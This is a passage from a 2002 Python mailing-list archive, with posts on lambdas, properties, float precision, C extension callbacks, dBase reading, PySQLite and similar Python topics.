yet: >>> foo = lambda y:[lambda:x.append(x.pop()+1) or x[0] for x in [[y]]][0] >>> f=foo(4) >>> [f() for x in '.......'] [5, 6, 7, 8, 9, 10, 11] Regards, Bengt Richter From garrett at bgb.cc Sun May 5 04:26:49 2002 From: garrett at bgb.cc (Don Garrett) Date: Sun, 05 May 2002 08:26:49 GMT Subject: YACC grammar for Python References: Message-ID: <3CD4ECC5.3070002@bgb.cc> I'm very interested in any results that you get, but it may be that YACC can't handle the Python grammer very well. Making indention levels significant is different from most of the language types that YACC was created for. David Pereira wrote: > Hi, > I was wondering where I could get a YACC grammar for Python. I have > managed to find the ``grammar.txt'' file which is part of the Python spec, > but have been having trouble converting it to YACC. I was wondering if > someone has already does this. > David. > > > -- Don Garrett http://www.bgb.cc/garrett/ BGB Consulting garrett at bgb.cc From bokr at oz.net Thu May 2 12:21:57 2002 From: bokr at oz.net (Bengt Richter) Date: 2 May 2002 16:21:57 GMT Subject: Theoretical question about Lambda References: <3CD0DCD6.4050403@vip.fi> Message-ID: On Thu, 02 May 2002 09:03:44 GMT, Alex Martelli wrote: >pekka niiranen wrote: > >> After reading about Scheme, I begun to wonder: >> >> Is there any forced need for Lambda's in Python ? I mean does Lambda >> contribute anything that cannot be done otherwise in Python ? > >Not really. lambda lets you have an anonymous function, and create >a function within an expression (while def is a statement and does A thought: being ble to do it in an expression allows taking advantage of short-circuit evaluation to avoid some problem in a lambda def form vs another. >require a name), so you may be able to collapse a few things a little >bit more, in theory, e.g.: > > funs = [lambda x: x+1, lambda x: x*2] > >vs: > > def plus1(x): return x+1 > def times2(x): return x*2 > funs = [plus1, times2] > >but that's about it. > What do you think re short circuit evaluation vav lambda? Regards, Bengt Richter From johnroth at ameritech.net Sat May 25 19:15:20 2002 From: johnroth at ameritech.net (John Roth) Date: Sat, 25 May 2002 19:15:20 -0400 Subject: Backwards emulation rather than backwards compatibility? References: <3CEF8E04.6040909@ix.netcom.com> Message-ID: "Martin v. Loewis" wrote in message news:m3it5cp8hj.fsf at mira.informatik.hu-berlin.de... > Antaeus Feldspar writes: > > > Could the python interpreter be equipped with a mode that would allow > > it to emulate past interpreters? > > No, that won't be possible. It is easy enough to install multiple > versions of the interpreter, though. > > Regards, > Martin Oh, come on now. Anything is possible, the question is whether it is worth doing and (this being a volunteer effort) whether anyone wants to do it. Frankly, I think it's an excellent idea, although it would have a cost. To delimit the debate: either a specific statement at the front of the module "Requires 2.1" or the code in the compiled module indicates the language level needed. Also, it should be possible to mix levels in one program, the limitation being that any one module is interpreted under one set of rules. No mixing is allowed within a module - that way lies insanity for the next person who has to deal with the resulting mess. It also means that the interpreter does not have to do very much different when compiling a module: if you want to compile a module under a back level, Python automatically invoked the appropriate level of the compiler, producing the appropriate level of compiled module. Frankly, I wouldn't think it would be that hard, although I have absolutely no knowledge of the internals of the python interpreter. Everything, after all, is an object, so an int created under 2.0 would not necessarilly have the same execution routines that an int created under 2.3 would have. Globals would have to be dealt with, and so would imports from back level modules (it might be useful to insure that they didn't import up level modules.) John Roth > From jb at cascade-sys.com Wed May 8 05:19:39 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Wed, 08 May 2002 02:19:39 -0700 Subject: What makes code "readable"? (was Re: Python vs. Perl, which is better to learn?) References: <20020507000637.23324.92190.Mailman@mail.python.org> <87pu07rvhu.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: <3CD8EDAB.6E23073B@cascade-sys.com> "Stephen J. Turnbull" wrote: > My experience in X?Emacs has been that the "many hands" eventually > expand some scopes; not everybody is a good programmer, or they may > have an "important" bug that needs "fixed right now". So you should > also consider how likely it is that somebody with a different design > sense than you will work on the code later. I can't argue with that. Regards --jb > -- > Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp > University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN > My nostalgia for Icon makes me forget about any of the bad things. I don't > have much nostalgia for Perl, so its faults I remember. Scott Gilbert c.l.py > -- > http://mail.python.org/mailman/listinfo/python-list -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From msoulier at nortelnetworks.com_.nospam Thu May 30 14:43:16 2002 From: msoulier at nortelnetworks.com_.nospam (Michael P. Soulier) Date: 30 May 2002 18:43:16 GMT Subject: Why no open(f, "w").write()? References: Message-ID: On Wed, 29 May 2002 21:02:21 +0000 (UTC), Huaiyu Zhu wrote: >>> >>>>>> stuff = "stuff to write" >>>>>> open('stufffile', "w").write(stuff) >>>>>> open('stufffile', "r").read() >>> 'stuff to write' >>> >> >>yes, but can you disagree with the statement that it is bad programming >>practice. I sure can't. > > For what reason is it bad? Well, as one of the credos of Python is that explicit is better than implicit, why are we relying on the implicit nature of file objects to close themselves? It's not nearly as easy to read. Then again, list comprehensions seem somewhat cryptic for Python as well. Mike -- Michael P. Soulier, QX41, SKY Tel: 613-765-4699 (ESN: 39-54699) Optical Networks, Nortel Networks, SDE Pegasus "...the word HACK is used as a verb to indicate a massive amount of nerd-like effort." -Harley Hahn, A Student's Guide to Unix From mwh at python.net Fri May 10 04:51:19 2002 From: mwh at python.net (Michael Hudson) Date: Fri, 10 May 2002 08:51:19 GMT Subject: [Survey] Py Feedback References: <3cd9a9d9.196458672@news.newsguy.com> <7RJC8.43000$zW3.495820@news1.tin.it> Message-ID: Alex Martelli writes: > Chris wrote: > > > Linux magazine seems to have a lot of interest in Python, perhaps you > > could somehow bundle with them? > > *blink* I believe LM ran their first ever Python article in April (by > an interesting quirk it ran in the same issue as an excellent Ruby one > by Thomas & Hunt, too -- I wasn't told about that and neither, I think, > were T&H). Apparently in reaction to good reader acceptance of that, I > was then asked for another article in a rush, and we're now putting the > final touches on it for appearance in July. But that's still a grand > total of two (2) articles over the whole lifetime of LM. And I'm not > privvy to other Python plans of theirs as yet. How do you extrapolate > from that to "a lot of interest"? Am I missing something...? I think he probably meant Linux Journal... (could be wrong). LJ have had quite a lot of Python articles, though. Cheers, M. -- First of all, email me your AOL password as a security measure. You may find that won't be able to connect to the 'net for a while. This is normal. The next thing to do is turn your computer upside down and shake it to reboot it. -- Darren Tucker, asr From cliechti at gmx.net Tue May 28 17:15:28 2002 From: cliechti at gmx.net (Chris Liechti) Date: 28 May 2002 23:15:28 +0200 Subject: variable X procuct - [(x,y) for x in list1 for y in list2] References: <1022619068.34271@newsmaster-04.atnet.at> Message-ID: steindl fritz wrote in news:1022619068.34271 at newsmaster-04.atnet.at: > first - maybe sombody can help me with the english expression for the > german word 'kreuzprodukt' - this my question is dealing with try: http://dict.tu-chemnitz.de/ "cross product" > ----------------------------------------------- > > example - > > list1 = [1, 2] > list2 = [a, b, c] > > [(x,y) for x in list1 for y in list2] > > the result is the "kreuzprodukt" > [(1,a), (1,b), (1,c), (2,a), (2,b), (2,c)] > > ----------------------------------------------- > > question - > > i need to keep the number of lists variable > > e.g. the next case should handle three lists > > [(a1, a2, a3) for a1 in list1 for a2 in list2 for a3 in list3] > > i cannot put variables into this algorythm or they don't do what i expect > maybe there is a simple solution, but i cannot find it you're sure you want to program this yourself? there is numpy, i think it can handle that. anyway, this one is taking list of list (or tuples): >>> xp=lambda l1,l2:[x+y for x in l1 for y in l2] >>> xp([(1, 'a'), (2, 'b')], [(1, 'a'), (2, 'b')]) [(1, 'a', 1, 'a'), (1, 'a', 2, 'b'), (2, 'b', 1, 'a'), (2, 'b', 2, 'b')] zip can be used to transform a list to a list of list (trasposed) that way you can use it nested: >>> xp(xp(zip([1,2]), zip([a,b,c])), zip([3,4])) chris -- Chris From martin at v.loewis.de Tue May 14 16:27:33 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 14 May 2002 22:27:33 +0200 Subject: serializing DOM object References: Message-ID: "Billy Ng" writes: > I want to use Java to save the DOM object to a blob field in mysql. Then, > using python to open it later. Is it possible? Someone told me as long as > I need to serialize the DOM object, it is doable. If anybody have this > experience, would you please share with me. I recommend to serialize DOM documents as XML. Regards, Martin From chene at cs.queensu.ca Tue May 7 15:59:36 2002 From: chene at cs.queensu.ca (Elvis Chen) Date: Tue, 7 May 2002 15:59:36 -0400 Subject: pricision of string.atof? Message-ID: Greetings, I'm working on some numerical analysis that requires rather good precision on calculation. In my project, I need to read some numbers from a file and subsequently process it to give other results. However, I found that string.atof doesn't always convert the read string to equivalent number. For example, if I have s = 'A 0.424\n' splitline = string.split( s ) A = string.atof( splitline[1] ) then, >>> A 0.42399999999999999 >>> print A 0.424 My question is, what is the TRUE value of A when I use it in calculation? Is it indeed 0.424 or not? If not, what can I do to work around this problem? I'm using python 2.2 on Solaris (SunOS 5.8): radius [3:51pm]>python Python 2.2 (#5, Feb 2 2002, 15:09:55) [GCC 2.95.2 19991024 (release)] on sunos5 Type "help", "copyright", "credits" or "license" for more information. thx in advance, ECC From jjl at pobox.com Sun May 12 11:38:58 2002 From: jjl at pobox.com (John J. Lee) Date: Sun, 12 May 2002 16:38:58 +0100 Subject: Iterating over the cells of an array? In-Reply-To: References: Message-ID: On Sun, 12 May 2002, Alex Martelli wrote: > Fernando P?rez wrote: > ... > > ravel is I believe a copy operation, much more expensive than a call to > > Chacking isn't all that expensive, is it? [...] > >>> f=Numeric.ravel(x) [...] > >>> x[1,1]=111 [...] > >>> f > array([ 0, 1, 2, 3, 1, 111, 3, 4, 2, 3, 4, 5]) If the array is not contiguous, though, it will make a copy. John From wilk at flibuste.net Wed May 29 06:42:01 2002 From: wilk at flibuste.net (William Dode) Date: Wed, 29 May 2002 12:42:01 +0200 Subject: Python @ Education: What are your problems? References: <3CF48E09.8C331FEA@gmx.de> Message-ID: <20020529124201.6c5805cc.wilk@flibuste.net> Le Wed, 29 May 2002 10:15:05 +0200 Ingo Linkweiler ?crivait: > Hello, > > are you using python for teaching programing? > > I am just writing a diploma paper about python and want to know your > experiences with python. > > What do you like when teaching python? > For example: > - Easy readable syntax > - High Level language > - Lists, Tupels, Dictionaries included > - interpreter: Everythink can be tested > - Many tools available > ..... simple and clear syntax interpreter and nothing useless to write (no ; no { no void main...) no limit for advanced user very eficient library, no need to use something else even if it's possible when it become necessary free to distribute > > AND MORE IMPORTANT: > What are your problems with python? Are pupils/students having any > problems or often asked questions? > What do you dislike at python? standard library not homogeneous unknow, not enough user (in France) > > For example: > - When teaching C or Pascal, newbies do not know, where to set a ";" and > where not. Any similar problems with Python? > - Why must I set a ":" after "if" or "for" ? " if x == y : " not so worth > ..... > > I hope you have many suggestions. > > regards, > > Ingo > > -- William Dod? - Informaticien Ind?pendant http://www.flibuste.net From rodrigo at mosaic.com.br Thu May 23 13:53:11 2002 From: rodrigo at mosaic.com.br (rvertulo) Date: 23 May 2002 10:53:11 -0700 Subject: Python in a 386 computer Message-ID: Hi people, Is it possible to run python in a 386 computer? Thanks. From kemusoft at hotmail.com Tue May 21 17:48:41 2002 From: kemusoft at hotmail.com (kemu) Date: Tue, 21 May 2002 23:48:41 +0200 Subject: list prob Message-ID: <3ceac092$0$8139$ba620e4c@news.skynet.be> I want to search a list if I do list.index("word to search") and the word isn't in the list I get an error I don't want to get one from python but want my own error like word is not in the list how ? or is there an other way to search the list for strings and if he doesn't find one he doesn't print an error ? From pinard at iro.umontreal.ca Thu May 30 17:08:05 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 30 May 2002 17:08:05 -0400 Subject: Avoiding `exec', how to? In-Reply-To: <20020530221832.L17248@prim.han.de> References: <20020530221832.L17248@prim.han.de> Message-ID: [holger krekel] > Also the use of dir/getattr allows for 'defs' to be subclassed. > Using '__dict__' doesn't and is somewhat ugly. Hello, Holger. I do not well understand your argument here -- but I agree that __dict__ is not fully nice. What is the problem of not allowing `defs' to be subclassed? I do not have any need for subclassing it, it is a rather simple thing... > 2) mod = __import__('currentmodulename') > for name in filter(lambda x: x[0]!='_', dir(defs)): > setattr(mod, name, defs[name]) > (assuming you like lambda functions, which i do). I can easily grok `lambda', when used parsimoniously, and preferably by others than me! :-) Your code fragment bears an excellent suggestion, by which `dir()' allows getting rid of `__dict__'. Thanks for this tip! Combining your suggestion with others, the little piece of code is now: # Fabriquer une variable globale pour chaque ?l?ment de DEFS. module = sys.modules[__name__] for name in dir(defs): if name[0] != '_': setattr(module, name, getattr(defs, name)) del defs, module, name The code would be less clear, for me, if it was using `filter' and `lambda'. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From shalehperry at attbi.com Tue May 21 15:47:22 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Tue, 21 May 2002 12:47:22 -0700 (PDT) Subject: Destructor In-Reply-To: Message-ID: On 21-May-2002 Rajat Chopra wrote: > > Hey Guys, > > I have a very quick and basic question -- but I was just when exactly a > Destructor is invoked? Do you have to delete the object (ex: del OBJECT ) > or is it enough to say OBJECT = None ??? > >>> class Foo: ... def __del__(self): ... print "dying!" ... >>> f = Foo() >>> del f dying! >>> f = Foo() >>> f = None dying! >>> def tester(): ... f = Foo() ... >>> tester() dying! >>> when in doubt fire up the python shell and test (-: From whisper at oz.net Sun May 12 18:42:12 2002 From: whisper at oz.net (David LeBlanc) Date: Sun, 12 May 2002 15:42:12 -0700 Subject: Zaurus and Python, a good combination In-Reply-To: <3CDEE799.5030306@earthlink.net> Message-ID: The iPaq Python port has it's own python shell (pyshell?) in lieu of a commandline prompt. It uses the iPaq internal stylus "tap" input drivers (on-screen keyboard and 2 forms of "cursive" input recognition). I don't know, but I would assume that if the "thumbboard" (virtually identical to similar products for Palm and the zarius built-in) or stowaway keyboard 3rd party options are installed, then those could be used. Seiko has released a most interesting input device (named something like "ink to me"): it's a thingie that clips onto the top of a standard notepad (paper) and captures and saves to a compatible pocket pc via cable or irda. I don't know if it does character recognition, but t'would be pretty interesting if it does! Seiko also has fancy (expensive!) folders that one's pocket pc fits into that do the same. This has the advantage (for some people) of just being the guts (and the folder ones are hard wired, not irda). Dave LeBlanc Seattle, WA USA > Does anyone know if the Compaq IPAQ and PALM devices have command line > interfaces? I guess they must , since I believe I have read about Python > ports to both the Windows CE and the PALM operating systems. Still, with > its thumboard, the Zaurus is pretty hard to beat (The Zaurus also > features an online "keyboard,", a "pickBoard", and handwriting > recognition, but the thumboard makes the Zaurus pretty hard to beat. > Happy Pythoneering to all...;-))) > > Ron Stephens > http://www.awaretek.com From info at mjais.de Thu May 23 18:51:11 2002 From: info at mjais.de (Markus Jais) Date: Fri, 24 May 2002 00:51:11 +0200 Subject: property question References: Message-ID: Chris Liechti wrote: > Markus Jais wrote in > news:acjnug$q6c68$1 at ID-75083.news.dfncis.de: > >> hello >> >> Just started playing with python 2.2 and the new features. >> Now I have a question on properties: >> >> class Address(object): >> >> def __init__(self): >> self.firstname = "" >> self.lastname = "" >> self.email = "" >> >> def set_email(self, email): >> print "in set email" >> self.email = email >> >> def get_email(self): >> print "in get mail" >> return "<" + self.email + ">" >> >> email = property(get_email, set_email, None, 'Setting the >> email adress') >> >> if __name__ == '__main__': >> print "testing" >> >> a = Address() >> a.firstname = "gandalf" >> a.email = "wizard at middle-earth.com" >> print a.firstname >> print a.email >> >> >> I get an endless recustion because I refer to self.email in the get_ >> and set_ method >> >> how can I set the value of self.email and how can I return a modified >> version in the get method?? > > i think the usual way is to store the value in a variable with preceeding > underlines ("self._email" or two underlines if you want a private > attribute) thanks for your tip: using an underline works but when I use two underlines with slots like this class Address(object): __slots__ = ('firstname', 'lastname', __email') def __init__(self): self.firstname = "" self.lastname = "" self.__email = " def set_email(self, email): print "in set email" self.__email = email ...... I get this error: Traceback (most recent call last): File "./Address.py", line 49, in ? a = Address() File "./Address.py", line 24, in __init__ self.__email = "" AttributeError: 'Address' object has no attribute '_Address__email' but with one underline, it works just fine. markus From fredrik at pythonware.com Sun May 26 08:42:41 2002 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 26 May 2002 12:42:41 GMT Subject: icons in Tkinter under Windows References: Message-ID: <5L4I8.9197$p56.2659394@newsb.telia.net> "(None)" wrote: > Can I change the default Tkinter icon given to the applications? > (excuse me for my english) look for tkicon under: http://effbot.org/downloads/ From pete at dexterslab.de Fri May 31 09:35:44 2002 From: pete at dexterslab.de (Henning Peters) Date: Fri, 31 May 2002 15:35:44 +0200 Subject: reimport module Message-ID: Hi NG, i am currently implementing a restart-function in a server software. Restarting the server should cause a shutdown and a new startup of all network connections and services and the reload of the server's configuration. The configuration file is stored as a normal python file that is imported by several modules over the built-in 'import' statement. The problem is, that python caches the file instead of rereading it so that a change of the configuration and a later restart of the server would take no effect. Is it possible to flush this cache or is it better to implement an own config parser instead of using a python file as config file? Bye, Henning From BPettersen at NAREX.com Mon May 20 11:19:04 2002 From: BPettersen at NAREX.com (Bjorn Pettersen) Date: Mon, 20 May 2002 09:19:04 -0600 Subject: shutil rant Message-ID: <60FB8BB7F0EFC7409B75EEEC13E20192158E78@admin56.narex.com> > From: Aahz [mailto:aahz at pythoncraft.com] > > In article , > Bjorn Pettersen wrote: > > From: Aahz [mailto:aahz at pythoncraft.com] > >> > >> Well, yes. The problem is that win32all is not part of the core > >> Python distribution, so none of the core library features > can rely on > >> it. :-( > > > >The Macintosh port seem to have full support for the Mac > interfaces, so > >isn't it about time the windows port got up to par? > > Sure! You willing to commit the time to making win32all part > of the core? Don't I wish . Currently figuring out why SIP is choking on our 900KLoc C++ library is higher priority. If I figure that out before I go insane, I'll consider it :-) -- bjorn From donn at u.washington.edu Mon May 13 12:44:30 2002 From: donn at u.washington.edu (Donn Cave) Date: 13 May 2002 16:44:30 GMT Subject: converting types References: <8hKD8.34779$CN3.1234475@news2.tin.it> Message-ID: Quoth Alex Martelli : | ian wrote: |> hi i know its a pain answering newbie questions |> that to you lot seem really simple |> |> but how do i convert an int into a string? | | Simplest is str(number) -- there are other ways. As others | have suggested to you, the % operator, also known as "string | formatting operator", is generally handiest for most kinds | of string preparation tasks -- | | msg = "List is %s long" % number To me, that's a string representation from an int, more than a conversion. This converts an int into a string: struct.pack('i', number) Now I'll concede that based on the frequency with which these two respective notions are useful, the former is more likely to be what he had in mind, but then it's also more likely to be found in any documentation or source example. Donn Cave, donn at u.washington.edu From brian at sweetapp.com Sun May 5 02:12:21 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Sat, 4 May 2002 23:12:21 -0700 Subject: Returning Fault instances in xmlrpc In-Reply-To: Message-ID: <008801c1f3fb$d13cfb20$445d4540@Dell2> > But why aren't Fault objects returned when I explicitly return them > from my functions? Shouldn't it either be illegal to return them or > equivalent to raising them? Both of these Python functions are legal but they have different semantics: def myfunc(): raise TypeError() def myfunc(): return TypeError() Do you consider that a design flaw? If not, why should it be a design flaw with the xmlrpc library? > The specification says nothing about exceptions -- only Fault objects. > I'm just curious about how they interact with Python exceptions, and > how you are supposed to use them in the standard xmlrpclib. It sounds like you are writing a server. Are you using SimpleXMLRPCServer or marshalling the data yourself? If you are using SimpleXMLRPCServer, you can just raise exceptions like normal and they will be converted into XML-RPC faults. Or you can raise xmlrpclib.Fault objects. The xmlrpclib client code raises xmlrpclib.Fault objects in response to XML-RPC faults. Cheers, Brian From irmen at USENET_NOSPAM_REMOVETHISxs4all.nl Sun May 26 14:28:14 2002 From: irmen at USENET_NOSPAM_REMOVETHISxs4all.nl (Irmen de Jong) Date: Sun, 26 May 2002 20:28:14 +0200 Subject: Tkinter will bei mir nicht starten References: <3e89c7ad.0205260958.37fd4c8b@posting.google.com> Message-ID: powell wrote: > Ich habe ein Problem mit Tkinter bei Python. > Wen ich beim Idle import Tkinter oder andere import Befehle eingebe, > kommt immer die fehlermeldung "No module named Tkinter". I think you will get more responses if you posted in English (this is an English speaking newsgroup). But to the point: either you're missing the Tcl/Tk installation (tcl-xxxx.rpm and tk-xxxx.rpm) or you're missing the python Tcl/tk addon (don't know what rpm that is, probably python-tk-xxxx.rpm, just browse your rpms). You could also install the Tcl/Tk development rpm and rebuild Python yourself from the sources. That's what I did. Good luck Irmen From peter at engcorp.com Mon May 20 12:47:41 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 20 May 2002 12:47:41 -0400 Subject: How do you code in Python ??? References: <409a56e2.0205170047.429beb44@posting.google.com> Message-ID: <3CE928AD.7D94E92@engcorp.com> Dave Cook wrote: > > On 17 May 2002 01:47:09 -0700, Shagshag wrote: > > > By now to write a function i write it in a text editor (with coloured > > syntax), copy and paste it in idle try it, then go back to text > > editor to debug it and so on until i've tuned it like i want, then > > next function and so on until i complete module... And that's really > > boring theses permanent back and forth... > > > > So how do you do it ? Which tools do you use ? > > xemacs. Ctrl-C Ctrl-C to run the app. And Ctrl-C to stop it again? How do you keep it all straight? :-) -Peter From cliechti at gmx.net Thu May 23 15:35:02 2002 From: cliechti at gmx.net (Chris Liechti) Date: 23 May 2002 21:35:02 +0200 Subject: asynchronous callbacks References: Message-ID: hans.geuns at scansoft.com (hans) wrote in news:dae4590e.0205231025.7cbb29af at posting.google.com: > I'm writing a Python extension module that has to handle asynchronous > callbacks. thats exactly what i did today! i found this aricle very useful: http://www.linuxjournal.com/article.php?sid=3641 unfortunately (for you) i don't have the sources at hand right now they're on a powered down machine 3km away and it's raining.... ;-) >There have been some earlier posts about this, but so far > I haven't found a safe solution. > > What I'm doing is this: > > I have a global variable > > PyInterpreterState* my_interp; > > The initialization function of my extension module looks like: > > void initmymodule(void) { > > ... > > PyEval_InitThreads(); > my_interp = PyThreadState_Get()->interp; > } i did this in the function where i register the callback. i also create my PyThreadState here --- from the article above PyThreadState * mainThreadState = NULL; // save a pointer to the main PyThreadState object mainThreadState = PyThreadState_Get(); // get a reference to the PyInterpreterState PyInterpreterState * mainInterpreterState = mainThreadState->interp; // create a thread state object for this thread PyThreadState * myThreadState = PyThreadState_New(mainInterpreterState); ---- i'm holding myThreadState in a global variable. > The callback functions look like: > > static void cb_Fun(void* pyFun, T* data) > { > ... > // convert data into a Python tuple: arg > > ENTER_PY > res = PyEval_CallObject((PyObject*)pyFun, arg); > LEAVE_PY > ... > } > > where I'm using two macros: > > #define ENTER_PY { PyThreadState* tstate = NULL;\ > if (_PyThreadState_Current == NULL) {\ > tstate = PyThreadState_New(my_interp);\ > PyEval_AquireThread(tstate);\ > } > > #define LEAVE_PY if (tstate) {\ > PyThreadState_Clear(tstate);\ > PyThreadState_DeleteCurrent();}\ > } you should aquire the GIL with PyEval_AcquireLock() and do PyEval_ReleaseLock() after interacting with python: ---- quote from the article above: // grab the global interpreter lock PyEval_AcquireLock(); // swap in my thread state PyThreadState_Swap(myThreadState); // execute some python code PyEval_SimpleString("import sys "); PyEval_SimpleString("sys.stdout.write('Hello from a C thread! ') "); // clear the thread state PyThreadState_Swap(NULL); // release our hold on the global interpreter PyEval_ReleaseLock(); ---- > The callbacks function can be registered (to a C API) with pyFun > pointing to some Python function (defined in a script). (This Python > function can itself callback into the C API.) In the script, after > registering a function as callback, the main thread is simply looping > in > > while running: > time.sleep(0) > > Variable `running` can at some point be reset by the callback to break > out of the loop. > > The problem is that I still get Fatal Python Errors, like > "PyThreadState_Get: no current thread", and sometimes "ceval: tstate > mix-up". > How is this possible? And how can I prevent those errors? What am I > missing? > (I'm working with Python 2.2 on a Win2000 OS.) > > Hans HTH chris -- Chris From gerhard at bigfoot.de Sun May 26 15:31:18 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 26 May 2002 19:31:18 GMT Subject: Problem building PySQLite under Windows References: <1maI8.88345$CN3.2584829@news2.tin.it> Message-ID: Max wrote in comp.lang.python: > Hi everybody. > I'm playing with PySQLite, but i can't build or install it. > I use Python 2.2.1 on win32 (Windows XP Pro), and PySQLite 0.1.2. > The error i receive is the following (i have no "cl.exe" anywhere in my HD. > Is this a "c" compiler, i suppose...?) Yes. You need a C compiler, and you need to have certain SQLite files installed and build an import library for your C compiler. I've posted all the relevant info the mailing list already. You might also want to use the CVS version, as this one actually compiles on Windows ;-) On the mailing list, I've posted how to compile it using Microsoft Visual C++ or with the win32 version of the GNU C compiler (mingw32). You can get this free compiler on http://www.mingw.org pysqlite is currently very much 'work in progress', the accentuation being on the progress part. Feel free to ask further question on the pysqlite mailing list. Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From sjmachin at lexicon.net Sun May 12 23:40:55 2002 From: sjmachin at lexicon.net (John Machin) Date: 12 May 2002 20:40:55 -0700 Subject: Reading Dbase files References: Message-ID: Robert Amesz wrote in message news:... > Leo Noordhuizen wrote: > > > I am trying to read .dbf files using the (old) dbf.py module > > (version 0.2 1999/11/12 written > > by Michal Spalinski. This seemed to work quite well, untill I > > found out that records which apparantly > > have been deleted are also read as 'normal'... How did you find out? What do the apparently-deleted records look like? Rhetorical question, answer supplied below, I'm just eternally curious about the way humans diagnose problems :-) > > In other words: not really useable or at least not compatible with > > this format of .dbf files. > > > > I am looking for advise how to proceed. I really need this > > functionality and should like to keep on using Python. > > I'm not familiar with dbf.py, but old dBase programs don't physically > delete the record (not right away, anyway) but set a marker in a > special field to indicate their deleted status. I presume there's some > way in which this marker can be tested in dbf.py, and if not it > shouldn't be terribly hard to add this. The dBase file format is well > documented over the years. > Here is the relevant part from dbf.py: def __getitem__(self, recno): if recno < 0 or recno >= self.nrecs: raise IndexError else: raw = self._get(recno) A deleted record will satisfy raw[0] == '*' Here is one of the places where you discover such knowledge: http://www.wotsit.org/ You might want to add a sequential-reading method to the dbf class, as well as or instead of hacking in raising a DeletedRecordError (or somesuch) exception in the __getitem__ method. You may even be interested in recovering the deleted records after a disaster. If fiddling with dbf.py along those lines is not your territory, e-mail me -- I have such a sequentially-reading gadget written circa 1999; it will even run with Python 1.5.2. HTH, John From marklists at mceahern.com Thu May 9 12:54:45 2002 From: marklists at mceahern.com (Mark McEahern) Date: Thu, 9 May 2002 11:54:45 -0500 Subject: Writing Date & Time to files? In-Reply-To: Message-ID: [Peter F. Ferris] > looks to be exactly what I want. Does Python have any "built in" date / > time functionality? import time mx.DateTime is far superior to that, IMHO. > Sooo, how can I add the time/date stamp to the "filestrng" > string? str(now()) Cheers, // mark From kseehof at neuralintegrator.com Fri May 3 11:04:46 2002 From: kseehof at neuralintegrator.com (Ken Seehof) Date: Fri, 03 May 2002 08:04:46 -0700 Subject: Low level python In-Reply-To: Message-ID: > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Gustavo Cordova > Sent: Friday, May 03, 2002 7:23 AM > To: Python List > Subject: RE: Low level python > > > > > I've been thinking of writing a device driver in python. > > > > > > Some people say this is ridiculous. > > > > > > I used psyco to improve the speed, and now have a program > > > that does the device driver's job (a proprietry touchscreen > > > driver) in user mode. > > > > > > Now, I have no idea how to make the python exe or dll run in > > > kernel mode. I wonder if there are some special api calls > > > that need to made. > > > > > > I'm downloading WinDriver. I hope this can help me. > > > > > > Does anyone not think this is a crazy thing to do? > > > > > > Why not use python for a device driver? > > > > > > I just see it as python dll is the driver, and the .py file are like > > > permanent configuration file for it. > > > > > > Comments Appreciated > > > Matthew Sherborne > > > > I think it's a fabulous idea. I think you will find yourself writing > > a few python extensions, so be prepared. > > > > Perhaps even a python operating system is plausable. I'm not very > > knowledgeable about operating system design, but it seems as if > > some operating systems such as Windows suffer from a lack of a robust > > universal object model with garbage collection. The idea would be > > to expose the kernel and low level interfaces as python extensions. > > As processors continue to move into the GHz zone, function call > > overhead becomes less significant, while scaleability and code > > complexity become more significant. > > > > Well, now maybe people will call me crazy instead of you :-) > > > > - Ken > > > > This is a *very* interesting project, and mightily seductive, > intellectually speaking. > > BUT, one thing I differ in respect to the opinions expressed > by many of the folx here, is that 3mb for a device driver > seems to me awfully expensive --memory wise--, and, dangerous. > > Dangerous, because there is lots of code which can hide bugs > in 3 Mb. Bugs which could, at the device-driver level, wipe out > the whole work of months, in a blink. We've all had our share > of flaky windows (3.x, 95, 98, NT, etc) drivers, and the heartache > and pain they cause (and lost time, and bloo screens of deth). > > Do we really want that for our Python-written drivers? Is that > the reputation we wish to create? > > Wait a sec, I'm not saying that Python may be flaky, on the > contrary, it's proven itself more than once, and the quality of > the PEOPLE behind it's development is superb. But mistakes are > maken, nobody's perfect. > > That's what makes a driver written in C or in assembler (better > yet) such a beautiful thing: it's tiny, it ONLY uses what you > explicitly told it to use, and it's fast. > > OK, after having my say about "the water's cold and you'll catch > your death", let's jump in the pool. :-) > > Call me old fashioned ("booo!! hisss!! oldster!!!"), but writing > a device driver in an interpreted language doesn't really rub me > the right way. > > I was playign around a few months back with Forth, a really neato > language, but even more illegible than Perl, if you can believe > that. BUT, it's really really appealing to anybody's hacker > instinct. Dangerously appealing, if you ask me. > > One of the most neat things is that a complete Forth system, > compiler and all, is very small, and it's written in Forth itself. > Forth, written in Forth. > > And, in a package I found, it comes with a machine language > assembler. Now *that* would be useful for our python device drivers. > A Machine Language Assembler module. > > > from Assembler import Ix86 > > > So, you assemble a few instructions, which do all the low-level > stuff you need, and very quickly. Bit-fiddling is best done in > machine language. > > Is this doable? > > Can python eventually become self-hosting, like forth? > > Can we do away with the C stdlib tyranny? > > Can python eventually become it's own OS? > > Sounds very interesting to find out. I think you can probably get native assembly by using weave http://www.scipy.org/site_content/weave Just use inline assembly within the C code string. - Ken From gerhard at bigfoot.de Tue May 7 23:39:57 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 8 May 2002 03:39:57 GMT Subject: MySQL questions References: Message-ID: Billy Ng wrote in comp.lang.python: > [MySQL doesn't do subselects] > I notice the subselect will be in version 